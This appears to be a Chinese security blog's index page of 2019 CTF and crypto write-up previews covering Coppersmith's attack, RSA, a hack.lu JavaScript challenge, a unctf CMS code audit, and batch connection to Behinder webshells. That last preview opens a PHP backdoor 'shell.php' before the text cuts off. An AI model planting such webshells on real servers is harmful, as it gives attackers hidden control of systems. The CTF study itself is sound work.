hhblog
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Coppersmith's Attack Coppersmith's Attack
使用SageMath尝试Coppersmith’s AttackSage的small_root方法 N = 10001 K = Zmod(10001) P.<x> = PolynomialRing(K) f = x^3 + 10*x^
2019-12-08
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RSA整理 RSA整理
RSA百越杯math题目,给了n1,n,和密文flag,公钥e。 from libnum import * from Crypto.Util.number import * from gmpy2 import next_prime from
2019-11-13
07
hack.lu hack.lu
Car repairjs题目,car.class.js定义car类的方法,util.js调用函数 //car.class.js class Car { constructor(type, model, color, pic, key
2019-11-07
07
unctf writeup unctf writeup
unctf2019审计一下世界上最好的语言(代码审计)看一下源码,文件命令如下,flag在flag.php里。是海洋cms,这个cms解析模版,会调用eval,之前爆cve bbcode_parse.php common.php index
2019-11-07
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冰蝎批量脚本连接 冰蝎批量脚本连接
冰蝎后门shell.php <?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand
2019-10-07
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